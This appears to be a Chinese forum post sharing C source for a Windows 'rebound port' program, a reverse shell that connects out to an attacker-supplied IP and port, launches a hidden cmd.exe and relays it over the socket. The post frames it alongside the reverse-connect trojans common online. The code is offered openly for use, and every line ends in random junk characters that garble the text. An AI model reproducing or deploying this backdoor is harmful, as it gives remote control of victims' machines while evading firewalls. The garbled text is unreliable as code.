这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 E,gpi
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/* ============================== #7BX,jvn>
Rebound port in Windows NT \ ~uY);
By wind,2006/7 ykBq?Vr
===============================*/ Scz/2vNi`
#include Z_WJgH2c
#include vcz?;lg
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#pragma comment(lib,"wsock32.lib") %(d0`9
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void OutputShell(); f~Ve7
SOCKET sClient; ?3;0 SAh
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; x~n]r[!L
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void main(int argc,char **argv) mNdEn<W
{ "3e1 7dsY
WSADATA stWsaData; 2&KM&NX~
int nRet; 2E_d$nsJ
SOCKADDR_IN stSaiClient,stSaiServer; ~`!{5:v
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if(argc != 3) x2$Y"b?vz
{ MgrJ ;?L
printf("Useage:\n\rRebound DestIP DestPort\n"); Bnu5\P
return; )^[PW&=W|x
} =q"o%dc`R
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WSAStartup(MAKEWORD(2,2),&stWsaData); jrLV \(p
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); t(r}jU=qw
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stSaiClient.sin_family = AF_INET; 4Tn97G7
stSaiClient.sin_port = htons(0); ?7cT$/4
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); R|JBzdK+P
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) [`_-;/Gx2
{ n"|1A..^
printf("Bind Socket Failed!\n"); dW} m44X
return; tJ9-8ZT*
} x>eV$UJ
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stSaiServer.sin_family = AF_INET; 3.@I\p}
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); :Lh`Q"a
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ]~t4E'y)z
pGT?=/=*
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) i+4!nf{K
{ p8|u 0/;k
printf("Connect Error!"); g;._Q
return; C~q&
} 9Pjw<xt
OutputShell(); |N%#;7
} 1qN+AT
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void OutputShell() k:*(..!0z
{ iVAAGZ>am
char szBuff[1024]; GQ])y
SECURITY_ATTRIBUTES stSecurityAttributes; 1<$z-y'
OSVERSIONINFO stOsversionInfo; ;)ji3 M
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; DWmViuZmL
STARTUPINFO stStartupInfo; "C'T>^qw*
char *szShell; u3])_oj=
PROCESS_INFORMATION stProcessInformation; ~=i<O&nai
unsigned long lBytesRead; jPA^SxM
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); `2PvE4]%p
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); :~4M9
stSecurityAttributes.lpSecurityDescriptor = 0; .xV^%e?H
stSecurityAttributes.bInheritHandle = TRUE; 3.E3}Jz`
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); z=pGu_`2
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); JH`oa1b
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); wgFAPZr
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 29kR7[k
stStartupInfo.wShowWindow = SW_HIDE; w3Z;&sFd
stStartupInfo.hStdInput = hReadPipe; P{%R*hb]
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; U?&&yynK
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GetVersionEx(&stOsversionInfo); ,l7',@6Y
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switch(stOsversionInfo.dwPlatformId) i[40p!~
{ *G(ZRj@33
case 1: ~%d* #Yxq
szShell = "command.com"; EB2 5N~7
break; b|E1>TkY
default: *7UDTgY
szShell = "cmd.exe"; -I*NS6
break; % h"%G=:
} Y2>0Y3yM
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); IZ3e:
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send(sClient,szMsg,77,0); *Vr;rk
while(1) ) ={
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{ -'~61=PD
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); X\HP&;Wd
if(lBytesRead) M.0N`NmS
{ SPo}!&p$~
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); P2=u-{?~
send(sClient,szBuff,lBytesRead,0); bC0DzBnM;
} <0!)}O
else cC7&]2X +f
{ E%vT(Kz
lBytesRead=recv(sClient,szBuff,1024,0); IW5N^J
if(lBytesRead<=0) break; d6+{^v$#
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 5~\GAjf
} %W,V~kb
} {bMOT*X=A
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return; HrH!
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}